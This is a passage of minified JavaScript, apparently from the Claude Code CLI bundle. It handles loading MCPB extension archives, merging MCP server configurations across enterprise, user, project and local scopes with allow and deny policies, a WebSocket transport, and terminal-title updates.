KA(F),F}return{manifest:T,mcpConfig:b,extractedPath:O.extractedPath,contentHash:O.contentHash}}let C=await VZ7(T,O.extractedPath);return{manifest:T,mcpConfig:C,extractedPath:O.extractedPath,contentHash:O.contentHash}}let X,$;if(fZ7(A)){let P=cj6("md5").update(A).digest("hex").substring(0,8);$=pa(J,`${P}.mcpb`),X=await MkY(A,$,Y)}else{let P=pa(K,A);if(!H.existsSync(P)){let f=Error(`MCPB file not found: ${P}`);throw KA(f),f}if(Y)Y(`Loading ${A}...`);X=H.readFileBytesSync(P),$=P}let _=jkY(X);if(h(`MCPB content hash: ${_}`),Y)Y("Extracting MCPB archive...");let G=Uj6($),Z=G["manifest.json"];if(!Z){let P=Error("No manifest.json found in MCPB file");throw KA(P),P}let W=D$1(Z);if(h(`MCPB manifest: ${W.name} v${W.version} by ${W.author.name}`),!W.server){let P=Error(`MCPB manifest for "${W.name}" does not define a server configuration`);throw KA(P),P}let D=pa(J,_);if(await PkY(G,D,Y),W.user_config&&Object.keys(W.user_config).length>0){let P=W.name,f=jZ7(q,P),N=z||f||{},T=PZ7(N,W.user_config);if(!T.valid){let x={source:A,contentHash:_,extractedPath:D,cachedAt:new Date().toISOString(),lastChecked:new Date().toISOString()};return await dj6(J,A,x),{status:"needs-config",manifest:W,extractedPath:D,contentHash:_,configSchema:W.user_config,existingConfig:f||{},validationErrors:T.errors}}if(z)MZ7(q,P,z);if(Y)Y("Generating MCP server configuration...");let C=await UZA({manifest:W,extensionPath:D,systemDirs:bqA(),userConfig:N,pathSeparator:"/"});if(!C){let x=Error(`Failed to generate MCP server configuration from manifest "${W.name}"`);throw KA(x),x}let R={source:A,contentHash:_,extractedPath:D,cachedAt:new Date().toISOString(),lastChecked:new Date().toISOString()};return await dj6(J,A,R),{manifest:W,mcpConfig:C,extractedPath:D,contentHash:_}}if(Y)Y("Generating MCP server configuration...");let j=await VZ7(W,D),M={source:A,contentHash:_,extractedPath:D,cachedAt:new Date().toISOString(),lastChecked:new Date().toISOString()};return await dj6(J,A,M),h(`Successfully loaded MCPB: ${W.name} (extracted to ${D})`),{manifest:W,mcpConfig:j,extractedPath:D,contentHash:_}}var lj6=k(()=>{n3();b1();LBA();Qj6();pj6();e6();Z1();C1();RBA();I8();b1()});import{join as fkY}from"path";async function EZ7(A,K,q){try{h(`Loading MCP servers from MCPB: ${K}`);let Y=A.repository,z=await yBA(K,A.path,Y,(J)=>{h(`MCPB [${A.name}]: ${J}`)});if("status"in z&&z.status==="needs-config")return h(`MCPB ${K} requires user configuration. `+`User can configure via: /plugin → Manage plugins → ${A.name} → Configure`),null;let w=z,H=w.manifest.name;return h(`Loaded MCP server "${H}" from MCPB (extracted to ${w.extractedPath})`),{[H]:w.mcpConfig}}catch(Y){let z=Y instanceof Error?Y.message:String(Y);h(`Failed to load MCPB ${K}: ${z}`,{level:"error"});let w=`${A.name}@${A.repository}`;if(K.startsWith("http")&&(z.includes("download")||z.includes("network")))q.push({type:"mcpb-download-failed",source:w,plugin:A.name,url:K,reason:z});else if(z.includes("manifest")||z.includes("user configuration"))q.push({type:"mcpb-invalid-manifest",source:w,plugin:A.name,mcpbPath:K,validationError:z});else q.push({type:"mcpb-extract-failed",source:w,plugin:A.name,mcpbPath:K,reason:z});return null}}async function nj6(A,K=[]){let q={},Y=ij6(A.path,".mcp.json");if(Y)q={...q,...Y};if(A.manifest.mcpServers){let z=A.manifest.mcpServers;if(typeof z==="string")if(pC(z)){let w=await EZ7(A,z,K);if(w)q={...q,...w}}else{let w=ij6(A.path,z);if(w)q={...q,...w}}else if(Array.isArray(z))for(let w of z)if(typeof w==="string")if(pC(w)){let H=await EZ7(A,w,K);if(H)q={...q,...H}}else{let H=ij6(A.path,w);if(H)q={...q,...H}}else q={...q,...w};else q={...q,...z}}return Object.keys(q).length>0?q:void 0}function ij6(A,K){let q=BA(),Y=fkY(A,K);if(!q.existsSync(Y))return null;try{let z=q.readFileSync(Y,{encoding:"utf-8"}),w=G6(z),H=w.mcpServers||w,J={};for(let[O,X]of Object.entries(H)){let $=dx.safeParse(X);if($.success)J[O]=$.data;else h(`Invalid MCP server config for ${O} in ${Y}: ${$.error.message}`,{level:"error"})}return J}catch(z){return h(`Failed to load MCP servers from ${Y}: ${z}`,{level:"error"}),null}}function NkY(A,K){let q={};for(let[Y,z]of Object.entries(A)){let w=`plugin:${K}:${Y}`;q[w]={...z,scope:"dynamic"}}return q}function IBA(A,K){return A.replace(/\$\{CLAUDE_PLUGIN_ROOT\}/g,K)}function TkY(A,K){return A.replace(/\$\{user_config\.([^}]+)\}/g,(q,Y)=>{let z=K[Y];if(z===void 0)throw Error(`Missing required user configuration value: ${Y}. This should have been validated before variable substitution.`);return String(z)})}function vkY(A,K,q,Y,z,w){let H=[],J=(X)=>{let $=IBA(X,K);if(q)$=TkY($,q);let{expanded:_,missingVars:G}=DZA($);return H.push(...G),_},O;switch(A.type){case void 0:case"stdio":{let X={...A};if(X.command)X.command=J(X.command);if(X.args)X.args=X.args.map((_)=>J(_));let $={CLAUDE_PLUGIN_ROOT:K,...X.env||{}};for(let[_,G]of Object.entries($))if(_!=="CLAUDE_PLUGIN_ROOT")$[_]=J(G);X.env=$,O=X;break}case"sse":case"http":case"ws":{let X={...A};if(X.url)X.url=J(X.url);if(X.headers){let $={};for(let[_,G]of Object.entries(X.headers))$[_]=J(G);X.headers=$}O=X;break}case"sse-ide":case"ws-ide":case"sdk":case"claudeai-proxy":O=A;break}if(Y&&H.length>0){let $=[...new Set(H)].join(", ");if(h(`Missing environment variables in plugin MCP config: ${$}`,{level:"warn"}),z&&w)Y.push({type:"mcp-config-invalid",source:`plugin:${z}`,plugin:z,serverName:w,validationError:`Missing environment variables: ${$}`})}return O}async function kZ7(A,K=[]){if(!A.enabled)return;let q=A.mcpServers||await nj6(A,K);if(!q)return;let Y={};for(let[z,w]of Object.entries(q))Y[z]=vkY(w,A.path,void 0,K,A.name,z);return NkY(Y,A.name)}var M$1=k(()=>{e6();Z1();H7A();lj6();b1()});function CZ7(){SBA.cache.clear?.()}var EkY="tengu_claudeai_mcp_connectors",kkY=5000,CkY="mcp-servers-2025-12-04",SBA;var rj6=k(()=>{p7();n3();uz();l1();x4();Z1();l6();B7();SBA=z6(async()=>{try{h("[claudeai-mcp] Checking gate (cached)...");let A=aY(EkY);if(h(`[claudeai-mcp] Gate returned: ${A}`),!A)return h("[claudeai-mcp] Disabled via gate"),n("tengu_claudeai_mcp_eligibility",{state:"disabled_gate"}),{};if(J2(void 0))return h("[claudeai-mcp] Disabled via env var"),n("tengu_claudeai_mcp_eligibility",{state:"disabled_env_var"}),{};let K=LK();if(!K?.accessToken)return h("[claudeai-mcp] No access token"),n("tengu_claudeai_mcp_eligibility",{state:"no_oauth_token"}),{};if(!K.scopes?.includes("user:mcp_servers"))return h(`[claudeai-mcp] Missing user:mcp_servers scope (scopes=${K.scopes?.join(",")||"none"})`),n("tengu_claudeai_mcp_eligibility",{state:"missing_scope"}),{};let Y=`${E7().BASE_API_URL}/v1/mcp_servers?limit=1000`;h(`[claudeai-mcp] Fetching from ${Y}`);let z=await A8.get(Y,{headers:{Authorization:`Bearer ${K.accessToken}`,"Content-Type":"application/json","anthropic-beta":CkY,"anthropic-version":"2023-06-01"},timeout:kkY}),w={},H=new Set;for(let J of z.data.data){let O=`claude.ai ${J.display_name}`,X=O,$=w3(X),_=1;while(H.has($))_++,X=`${O} (${_})`,$=w3(X);H.add($),w[X]={type:"claudeai-proxy",url:J.url,id:J.id,scope:"claudeai"}}return h(`[claudeai-mcp] Fetched ${Object.keys(w).length} servers`),n("tengu_claudeai_mcp_eligibility",{state:"eligible"}),w}catch{return h("[claudeai-mcp] Fetch failed"),{}}})});import{join as f$1,dirname as LkY,parse as RkY}from"path";function N$1(){return f$1(yT(),"managed-mcp.json")}function hBA(A,K){if(!A)return{};let q={};for(let[Y,z]of Object.entries(A))q[Y]={...z,scope:K};return q}function LZ7(A){let K=f$1(x1(),".mcp.json");Hf(K,UA(A,null,2),{encoding:"utf8"})}function RZ7(A){if(A.type!==void 0&&A.type!=="stdio")return null;let K=A;return[K.command,...K.args]}function yZ7(A,K){if(A.length!==K.length)return!1;return A.every((q,Y)=>q===K[Y])}function IZ7(A){return"url"in A?A.url:null}function ykY(A){let q=A.replace(/[.+?^${}()|[\]\\]/g,"\\$&").replace(/\*/g,".*");return new RegExp(`^${q}$`)}function SZ7(A,K){return ykY(K).test(A)}function hZ7(A,K){let q=J8();if(!q.deniedMcpServers)return!1;for(let Y of q.deniedMcpServers)if(pZA(Y)&&Y.serverName===A)return!0;if(K){let Y=RZ7(K);if(Y){for(let w of q.deniedMcpServers)if(P$1(w)&&yZ7(w.serverCommand,Y))return!0}let z=IZ7(K);if(z){for(let w of q.deniedMcpServers)if(V$1(w)&&SZ7(z,w.serverUrl))return!0}}return!1}function oj6(A,K){if(hZ7(A,K))return!1;let q=J8();if(!q.allowedMcpServers)return!0;if(q.allowedMcpServers.length===0)return!1;let Y=q.allowedMcpServers.some(P$1),z=q.allowedMcpServers.some(V$1);if(K){let w=RZ7(K),H=IZ7(K);if(w)if(Y){for(let J of q.allowedMcpServers)if(P$1(J)&&yZ7(J.serverCommand,w))return!0;return!1}else{for(let J of q.allowedMcpServers)if(pZA(J)&&J.serverName===A)return!0;return!1}else if(H)if(z){for(let J of q.allowedMcpServers)if(V$1(J)&&SZ7(H,J.serverUrl))return!0;return!1}else{for(let J of q.allowedMcpServers)if(pZA(J)&&J.serverName===A)return!0;return!1}else{for(let J of q.allowedMcpServers)if(pZA(J)&&J.serverName===A)return!0;return!1}}for(let w of q.allowedMcpServers)if(pZA(w)&&w.serverName===A)return!0;return!1}function IkY(A){let K=[];function q(z){let{expanded:w,missingVars:H}=DZA(z);return K.push(...H),w}let Y;switch(A.type){case void 0:case"stdio":{let z=A;Y={...z,command:q(z.command),args:z.args.map(q),env:z.env?U1A(z.env,q):void 0};break}case"sse":case"http":case"ws":{let z=A;Y={...z,url:q(z.url),headers:z.headers?U1A(z.headers,q):void 0};break}case"sse-ide":case"ws-ide":Y=A;break;case"sdk":Y=A;break;case"claudeai-proxy":Y=A;break}return{expanded:Y,missingVars:[...new Set(K)]}}function da(A,K,q){if(A.match(/[^a-zA-Z0-9_-]/))throw Error(`Invalid name ${A}. Names can only contain letters, numbers, hyphens, and underscores.`);if(jZA(A))throw Error(`Cannot add MCP server "${A}": this name is reserved.`);if(xBA())throw Error("Cannot add MCP server: enterprise MCP configuration is active and has exclusive control over MCP servers");let Y=dx.safeParse(K);if(!Y.success){let w=Y.error.issues.map((H)=>`${H.path.join(".")}: ${H.message}`).join(", ");throw Error(`Invalid configuration: ${w}`)}let z=Y.data;if(hZ7(A,z))throw Error(`Cannot add MCP server "${A}": server is explicitly blocked by enterprise policy`);if(!oj6(A,z))throw Error(`Cannot add MCP server "${A}": not allowed by enterprise policy`);switch(q){case"project":{let{servers:w}=aj6();if(w[A])throw Error(`MCP server ${A} already exists in .mcp.json`);break}case"user":{if(M1().mcpServers?.[A])throw Error(`MCP server ${A} already exists in user config`);break}case"local":{if(Z2().mcpServers?.[A])throw Error(`MCP server ${A} already exists in local config`);break}case"dynamic":throw Error("Cannot add MCP server to scope: dynamic");case"enterprise":throw Error("Cannot add MCP server to scope: enterprise");case"claudeai":throw Error("Cannot add MCP server to scope: claudeai")}switch(q){case"project":{let{servers:w}=aj6(),H={};for(let[O,X]of Object.entries(w)){let{scope:$,..._}=X;H[O]=_}H[A]=z;let J={mcpServers:H};try{LZ7(J)}catch(O){throw Error(`Failed to write to .mcp.json: ${O}`)}break}case"user":{D6((w)=>({...w,mcpServers:{...w.mcpServers,[A]:z}}));break}case"local":{Pz((w)=>({...w,mcpServers:{...w.mcpServers,[A]:z}}));break}default:throw Error(`Cannot add MCP server to scope: ${q}`)}}function sj6(A,K){switch(K){case"project":{let{servers:q}=aj6();if(!q[A])throw Error(`No MCP server found with name: ${A} in .mcp.json`);let Y={};for(let[w,H]of Object.entries(q))if(w!==A){let{scope:J,...O}=H;Y[w]=O}let z={mcpServers:Y};try{LZ7(z)}catch(w){throw Error(`Failed to remove from .mcp.json: ${w}`)}break}case"user":{if(!M1().mcpServers?.[A])throw Error(`No user-scoped MCP server found with name: ${A}`);D6((Y)=>{let{[A]:z,...w}=Y.mcpServers??{};return{...Y,mcpServers:w}});break}case"local":{if(!Z2().mcpServers?.[A])throw Error(`No project-local MCP server found with name: ${A}`);Pz((Y)=>{let{[A]:z,...w}=Y.mcpServers??{};return{...Y,mcpServers:w}});break}default:throw Error(`Cannot remove MCP server from scope: ${K}`)}}function aj6(){if(!t$("projectSettings"))return{servers:{},errors:[]};let A=BA(),K=f$1(x1(),".mcp.json");if(!A.existsSync(K))return{servers:{},errors:[]};let{config:q,errors:Y}=dZA({filePath:K,expandVars:!0,scope:"project"});return{servers:q?.mcpServers?hBA(q.mcpServers,"project"):{},errors:Y||[]}}function JX(A){let K={project:"projectSettings",user:"userSettings",local:"localSettings"};if(A in K&&!t$(K[A]))return{servers:{},errors:[]};switch(A){case"project":{let q=BA(),Y={},z=[],w=[],H=x1();while(H!==RkY(H).root)w.push(H),H=LkY(H);for(let J of w.reverse()){let O=f$1(J,".mcp.json");if(!q.existsSync(O))continue;let{config:X,errors:$}=dZA({filePath:O,expandVars:!0,scope:"project"});if(X?.mcpServers)Object.assign(Y,hBA(X.mcpServers,A));if($.length>0)z.push(...$)}return{servers:Y,errors:z}}case"user":{let q=M1().mcpServers;if(!q)return{servers:{},errors:[]};let{config:Y,errors:z}=bBA({configObject:{mcpServers:q},expandVars:!0,scope:"user"});return{servers:hBA(Y?.mcpServers,A),errors:z}}case"local":{let q=Z2().mcpServers;if(!q)return{servers:{},errors:[]};let{config:Y,errors:z}=bBA({configObject:{mcpServers:q},expandVars:!0,scope:"local"});return{servers:hBA(Y?.mcpServers,A),errors:z}}case"enterprise":{let q=N$1();if(!BA().existsSync(q))return{servers:{},errors:[]};let{config:z,errors:w}=dZA({filePath:q,expandVars:!0,scope:"enterprise"});return{servers:hBA(z?.mcpServers,A),errors:w}}}}function BI(A){let{servers:K}=JX("enterprise"),{servers:q}=JX("user"),{servers:Y}=JX("project"),{servers:z}=JX("local");if(K[A])return K[A];if(z[A])return z[A];if(Y[A])return Y[A];if(q[A])return q[A];return null}async function cZA(){let{servers:A}=JX("enterprise");if(xBA()){let $={};for(let[_,G]of Object.entries(A)){if(!oj6(_,G))continue;$[_]=G}return{servers:$,errors:[]}}let{servers:K}=JX("user"),{servers:q}=JX("project"),{servers:Y}=JX("local"),z={},w=await SY(),H=[];if(w.errors.length>0)for(let $ of w.errors)if($.type==="mcp-config-invalid"||$.type==="mcpb-download-failed"||$.type==="mcpb-extract-failed"||$.type==="mcpb-invalid-manifest"){let _=`Plugin MCP loading error - ${$.type}: ${_M($)}`;KA(Error(_))}else{let _=$.type;h(`Plugin not available for MCP: ${$.source} - error type: ${_}`)}for(let $ of w.enabled){let _=await kZ7($,H);if(_)Object.assign(z,_)}if(H.length>0)for(let $ of H){let _=`Plugin MCP server error - ${$.type}: ${_M($)}`;KA(Error(_))}let J={};for(let[$,_]of Object.entries(q))if(T$1($)==="approved")J[$]=_;let O=Object.assign({},z,K,J,Y),X={};for(let[$,_]of Object.entries(O)){if(!oj6($,_))continue;X[$]=_}return{servers:X,errors:H}}async function jp(){let{servers:A,errors:K}=await cZA();if(xBA())return{servers:A,errors:K};let q=await SBA();return{servers:Object.assign({},q,A),errors:K}}function bBA(A){let{configObject:K,expandVars:q,scope:Y,filePath:z}=A,w=Zh4.safeParse(K);if(!w.success)return{config:null,errors:w.error.issues.map((O)=>({...z&&{file:z},path:O.path.join("."),message:"Does not adhere to MCP server configuration schema",mcpErrorMetadata:{scope:Y,severity:"fatal"}}))};let H=[],J={};for(let[O,X]of Object.entries(w.data.mcpServers)){let $=X;if(q){let{expanded:_,missingVars:G}=IkY(X);if(G.length>0)H.push({...z&&{file:z},path:`mcpServers.${O}`,message:`Missing environment variables: ${G.join(", ")}`,suggestion:`Set the following environment variables: ${G.join(", ")}`,mcpErrorMetadata:{scope:Y,serverName:O,severity:"warning"}});$=_}if(o6()==="windows"&&(!$.type||$.type==="stdio")&&($.command==="npx"||$.command.endsWith("\\npx")||$.command.endsWith("/npx")))H.push({...z&&{file:z},path:`mcpServers.${O}`,message:"Windows requires 'cmd /c' wrapper to execute npx",suggestion:'Change command to "cmd" with args ["/c", "npx", ...]. See: https://code.claude.com/docs/en/mcp#configure-mcp-servers',mcpErrorMetadata:{scope:Y,serverName:O,severity:"warning"}});J[O]=$}return{config:{mcpServers:J},errors:H}}function dZA(A){let{filePath:K,expandVars:q,scope:Y}=A,z=BA();if(!z.existsSync(K))return{config:null,errors:[{file:K,path:"",message:`MCP config file not found: ${K}`,suggestion:"Check that the file path is correct",mcpErrorMetadata:{scope:Y,severity:"fatal"}}]};let w;try{w=z.readFileSync(K,{encoding:"utf8"})}catch(J){return{config:null,errors:[{file:K,path:"",message:`Failed to read file: ${J}`,suggestion:"Check file permissions and ensure the file exists",mcpErrorMetadata:{scope:Y,severity:"fatal"}}]}}let H=P3(w);if(!H)return{config:null,errors:[{file:K,path:"",message:"MCP config is not a valid JSON",suggestion:"Fix the JSON syntax errors in the file",mcpErrorMetadata:{scope:Y,severity:"fatal"}}]};return bBA({configObject:H,expandVars:q,scope:Y,filePath:K})}function xBA(){let{config:A}=dZA({filePath:N$1(),expandVars:!0,scope:"enterprise"});return A!==null}function bZ7(A){return Object.values(A).every((K)=>K.type==="sdk"&&K.name==="claude-vscode")}function uBA(A){return(Z2().disabledMcpServers||[]).includes(A)}function lZA(A,K){Pz((q)=>{let Y=q.disabledMcpServers||[];if(K)Y=Y.filter((z)=>z!==A);else if(!Y.includes(A))Y=[...Y,A];return{...q,disabledMcpServers:Y}})}var iM=k(()=>{i6();e6();Xw();uaA();y4();YK();H7A();W$();B5();I8();rU();GJ();C1();Z1();s0();lu();M$1();rj6();b1()});import{join as SkY}from"path";function YB(A,K){let q=`mcp__${w3(K)}__`;return A.filter((Y)=>Y.name?.startsWith(q))}function v$1(A,K){let q=`mcp__${w3(K)}__`;return A.filter((Y)=>Y.name?.startsWith(q))}function tj6(A,K){let q=`mcp__${w3(K)}__`;return A.filter((Y)=>!Y.name?.startsWith(q))}function ej6(A,K){let q=`mcp__${w3(K)}__`;return A.filter((Y)=>!Y.name?.startsWith(q))}function AM6(A,K){let q={...A};return delete q[K],q}function xZ7(A,K){return A_(A)?.serverName===K}function aT(A){return A.name?.startsWith("mcp__")||A.isMcp===!0}function iD(A){let K=BA();switch(A){case"user":{let q=VZ(),Y=K.existsSync(q);return`${q}${Y?"":" (file does not exist)"}`}case"project":{let q=SkY(x1(),".mcp.json"),Y=K.existsSync(q);return`${q}${Y?"":" (file does not exist)"}`}case"local":return`${VZ()} [project: ${x1()}]`;case"dynamic":return"Dynamically configured";case"enterprise":{let q=N$1(),Y=K.existsSync(q);return`${q}${Y?"":" (file does not exist)"}`}case"claudeai":return"claude.ai";default:return A}}function BBA(A){switch(A){case"local":return"Local config (private to you in this project)";case"project":return"Project config (shared via .mcp.json)";case"user":return"User config (available in all your projects)";case"dynamic":return"Dynamic config (from command line)";case"enterprise":return"Enterprise config (managed by your organization)";case"claudeai":return"claude.ai config";default:return A}}function iZA(A){if(!A)return"local";if(!HY6.options.includes(A))throw Error(`Invalid scope: ${A}. Must be one of: ${HY6.options.join(", ")}`);return A}function uZ7(A){if(!A)return"stdio";if(A!=="stdio"&&A!=="sse"&&A!=="http")throw Error(`Invalid transport type: ${A}. Must be one of: stdio, sse, http`);return A}function KM6(A){let K={};for(let q of A){let Y=q.indexOf(":");if(Y===-1)throw Error(`Invalid header format: "${q}". Expected format: "Header-Name: value"`);let z=q.substring(0,Y).trim(),w=q.substring(Y+1).trim();if(!z)throw Error(`Invalid header: "${q}". Header name cannot be empty.`);K[z]=w}return K}function T$1(A){let K=J8(),q=w3(A);if(K?.disabledMcpjsonServers?.some((Y)=>w3(Y)===q))return"rejected";if(K?.enabledMcpjsonServers?.some((Y)=>w3(Y)===q)||K?.enableAllProjectMcpServers)return"approved";if(M1().bypassPermissionsModeAccepted&&t$("projectSettings"))return"approved";if(b7()&&t$("projectSettings"))return"approved";return"pending"}function qM6(A){if(!aT({name:A}))return null;let K=A_(A);if(!K)return null;let q=BI(K.serverName);if(!q&&K.serverName.startsWith("claude_ai_"))return"claudeai";return q?.scope??null}function hkY(A){return A.type==="stdio"||A.type===void 0}function bkY(A){return A.type==="sse"}function xkY(A){return A.type==="http"}function ukY(A){return A.type==="ws"}function BZ7(A){let K=new Map;for(let Y of A){if(!Y.mcpServers?.length)continue;for(let z of Y.mcpServers){if(typeof z==="string")continue;let w=Object.entries(z);if(w.length!==1)continue;let[H,J]=w[0],O=K.get(H);if(O){if(!O.sourceAgents.includes(Y.agentType))O.sourceAgents.push(Y.agentType)}else K.set(H,{config:{...J,name:H},sourceAgents:[Y.agentType]})}}let q=[];for(let[Y,{config:z,sourceAgents:w}]of K)if(hkY(z))q.push({name:Y,sourceAgents:w,transport:"stdio",command:z.command,needsAuth:!1});else if(bkY(z))q.push({name:Y,sourceAgents:w,transport:"sse",url:z.url,needsAuth:!0});else if(xkY(z))q.push({name:Y,sourceAgents:w,transport:"http",url:z.url,needsAuth:!0});else if(ukY(z))q.push({name:Y,sourceAgents:w,transport:"ws",url:z.url,needsAuth:!1});return q.sort((Y,z)=>Y.name.localeCompare(z.name))}function H0(A){if(!("url"in A)||typeof A.url!=="string")return;try{let K=new URL(A.url);return K.search="",K.toString().replace(/\/$/,"")}catch{return}}var W$=k(()=>{I8();H7A();z3();y4();e6();iM();tN();GJ();q6();i6()});function mZ7(A){let K=A.trim(),q=K.split(/\s+/)[0]?.toLowerCase();if(!q)return;if(q==="npx"||q==="bunx"){let Y=K.split(/\s+/)[1]?.toLowerCase();if(Y&&Y in YM6)return YM6[Y]}return YM6[q]}function gZ7(A){for(let{pattern:K,tool:q}of BkY)if(K.test(A))return q;return}var YM6,BkY;var zM6=k(()=>{YM6={src:"sourcegraph",cody:"cody",aider:"aider",tabby:"tabby",tabnine:"tabnine",augment:"augment",pieces:"pieces",qodo:"qodo",aide:"aide",hound:"hound",seagoat:"seagoat",bloop:"bloop",gitloop:"gitloop",q:"amazon-q",gemini:"gemini"},BkY=[{pattern:/^sourcegraph$/i,tool:"sourcegraph"},{pattern:/^cody$/i,tool:"cody"},{pattern:/^openctx$/i,tool:"openctx"},{pattern:/^aider$/i,tool:"aider"},{pattern:/^continue$/i,tool:"continue"},{pattern:/^github[-_]?copilot$/i,tool:"github-copilot"},{pattern:/^copilot$/i,tool:"github-copilot"},{pattern:/^cursor$/i,tool:"cursor"},{pattern:/^tabby$/i,tool:"tabby"},{pattern:/^codeium$/i,tool:"codeium"},{pattern:/^tabnine$/i,tool:"tabnine"},{pattern:/^augment[-_]?code$/i,tool:"augment"},{pattern:/^augment$/i,tool:"augment"},{pattern:/^windsurf$/i,tool:"windsurf"},{pattern:/^aide$/i,tool:"aide"},{pattern:/^codestory$/i,tool:"aide"},{pattern:/^pieces$/i,tool:"pieces"},{pattern:/^qodo$/i,tool:"qodo"},{pattern:/^amazon[-_]?q$/i,tool:"amazon-q"},{pattern:/^gemini[-_]?code[-_]?assist$/i,tool:"gemini"},{pattern:/^gemini$/i,tool:"gemini"},{pattern:/^hound$/i,tool:"hound"},{pattern:/^seagoat$/i,tool:"seagoat"},{pattern:/^bloop$/i,tool:"bloop"},{pattern:/^gitloop$/i,tool:"gitloop"},{pattern:/^claude[-_]?context$/i,tool:"claude-context"},{pattern:/^code[-_]?index[-_]?mcp$/i,tool:"code-index-mcp"},{pattern:/^code[-_]?index$/i,tool:"code-index-mcp"},{pattern:/^local[-_]?code[-_]?search$/i,tool:"local-code-search"},{pattern:/^codebase$/i,tool:"autodev-codebase"},{pattern:/^autodev[-_]?codebase$/i,tool:"autodev-codebase"},{pattern:/^code[-_]?context$/i,tool:"claude-context"}]});class E$1{ws;started=!1;opened;constructor(A){this.ws=A;this.opened=new Promise((K,q)=>{if(this.ws.readyState===Bu.OPEN)K();else this.ws.on("open",()=>{K()}),this.ws.on("error",(Y)=>{v8("error","mcp_websocket_connect_fail"),q(Y)})}),this.ws.on("message",this.onMessageHandler),this.ws.on("error",this.onErrorHandler),this.ws.on("close",this.onCloseHandler)}onclose;onerror;onmessage;onMessageHandler=(A)=>{try{let K=G6(A.toString("utf-8")),q=Fu.parse(K);this.onmessage?.(q)}catch(K){this.onErrorHandler(K)}};onErrorHandler=(A)=>{v8("error","mcp_websocket_message_fail"),this.onerror?.(A instanceof Error?A:Error("Failed to process message"))};onCloseHandler=()=>{this.onclose?.(),this.ws.off("message",this.onMessageHandler),this.ws.off("error",this.onErrorHandler),this.ws.off("close",this.onCloseHandler)};async start(){if(this.started)throw Error("Start can only be called once per transport.");if(await this.opened,this.ws.readyState!==Bu.OPEN)throw v8("error","mcp_websocket_start_not_opened"),Error("WebSocket is not open. Cannot start transport.");this.started=!0}async close(){if(this.ws.readyState===Bu.OPEN||this.ws.readyState===Bu.CONNECTING)this.ws.close();this.onCloseHandler()}async send(A){if(this.ws.readyState!==Bu.OPEN)throw v8("error","mcp_websocket_send_not_opened"),Error("WebSocket is not open. Cannot send message.");let K=UA(A);try{await new Promise((q,Y)=>{this.ws.send(K,(z)=>{if(z)Y(z);else q()})})}catch(q){throw this.onErrorHandler(q),q}}}var FZ7=k(()=>{axA();G_();dj();b1()});var QZ7="",UZ7="";function f8(){let A=pZ7.useContext(yXA);if(!A)throw Error("useTerminalSize must be used within an Ink App component");return A}var pZ7;var uK=k(()=>{Q51();pZ7=o($A(),1)});function M6(A){let K=s(9),{shortcut:q,action:Y,parens:z,bold:w}=A,H=z===void 0?!1:z,J=w===void 0?!1:w,O;if(K[0]!==J||K[1]!==q)O=J?k$1.default.createElement($G,{bold:!0},q):q,K[0]=J,K[1]=q,K[2]=O;else O=K[2];let X=O;if(H){let _;if(K[3]!==Y||K[4]!==X)_=k$1.default.createElement($G,null,"(",X," to ",Y,")"),K[3]=Y,K[4]=X,K[5]=_;else _=K[5];return _}let $;if(K[6]!==Y||K[7]!==X)$=k$1.default.createElement($G,null,X," to ",Y),K[6]=Y,K[7]=X,K[8]=$;else $=K[8];return $}var k$1;var nK=k(()=>{cA();LXA();k$1=o($A(),1)});function mBA(A){let K=s(2),{children:q}=A,Y;if(K[0]!==q)Y=xqA.default.createElement(dZ7.Provider,{value:!0},q),K[0]=q,K[1]=Y;else Y=K[1];return Y}function mI(){let A=s(2),K=xqA.useContext(dZ7),q=cK("app:toggleTranscript","Global","ctrl+o");if(K)return null;let Y;if(A[0]!==q)Y=xqA.default.createElement(V,{dimColor:!0},xqA.default.createElement(M6,{shortcut:q,action:"expand",parens:!0})),A[0]=q,A[1]=Y;else Y=A[1];return Y}function cZ7(){let A=A$("app:toggleTranscript","Global","ctrl+o");return O1.dim(`(${A} to expand)`)}var xqA,dZ7;var ca=k(()=>{cA();mA();u5();nK();Vz();xqA=o($A(),1),dZ7=xqA.default.createContext(!1)});function JM6(A,K){if(P1(process.env.CLAUDE_CODE_DISABLE_TERMINAL_TITLE))return;let q=K?`${A} ${K}`:"";if(process.platform==="win32")process.title=q;else process.stdout.write(`\x1B]0;${q}\x07`)}function R$1(A){if(L$1=A,!nZA)JM6(HM6,A)}function iZ7(){R$1("Claude Code")}function nZ7(){return L$1}function rZ7(){if(nZA)return;C$1=0,nZA=setInterval(()=>{C$1=(C$1+1)%lZ7.length,JM6(lZ7[C$1]??HM6,L$1)},mkY)}function gBA(){if(nZA)clearInterval(nZA),nZA=null;JM6(HM6,L$1)}async function oZ7(A){if(P1(process.env.CLAUDE_CODE_DISABLE_TERMINAL_TITLE))return;if(A.startsWith(`<${kzA}>`))return;try{let q=(await D$({systemPrompt:["Analyze if this message indicates a new conversation topic. If it does, extract a 2-3 word title that captures the new topic. Format your response as a JSON object with two fields: 'isNewTopic' (boolean) and 'title' (string, or null if isNewTopic is false)."],userPrompt:A,outputFormat:{type:"json_schema",schema:{type:"object",properties:{isNewTopic:{type:"boolean"},title:{anyOf:[{type:"string"},{type:"null"}]}},required:["isNewTopic","title"],additionalProperties:!1}},signal:new AbortController().signal,options:{querySource:"terminal_update_title",agents:[],isNonInteractiveSession:!1,hasAppendSystemPrompt:!1,mcpTools:[]}})).message.content.filter((z)=>z.type==="text").map((z)=>z.text).join(""),Y=P3(q);if(Y&&typeof Y==="object"&&"isNewTopic"in Y&&"title"in Y){if(Y.isNewTopic&&Y.title)R$1(Y.title)}}catch(K){KA(K)}}function uqA(){return new Promise((A)=>{process.stdout.write(syA(),()=>{A()})})}function FkY(A,K){let q=A.split(` `),Y=[];for(let w of q){let H=j7(w);if(H<=K)Y.push(w.trimEnd());else{let J=0;while(J<H){let O=myA(w,J,J+K);Y.push(O.trimEnd()),J+=K}}}let z=Y.length-wM6;if(z===1)return{aboveTheFold:Y.slice(0,wM6+1).join(` `).trimEnd(),remainingLines:0};return{aboveTheFold:Y.slice(0,wM6).join(` `).trimEnd(),remainingLines:Math.max(0,z)}}function aZ7(A,K){let q=A.trimEnd();if(!q)return"";let{aboveTheFold:Y,remainingLines:z}=FkY(q,Math.max(K-gkY,10));return[Y,z>0?O1.dim(`… +${z} lines ${cZ7()}`):""].filter(Boolean).join(` `)}var lZ7,HM6="✳",mkY=960,L$1="",nZA=null,C$1=0,wM6=3,gkY=9;var FBA=k(()=>{sz();Xw();C1();u5();ca();l6();wz();vK6();XG();Oq6();lZ7=["⠂","⠐"]});function eZ7(A){let 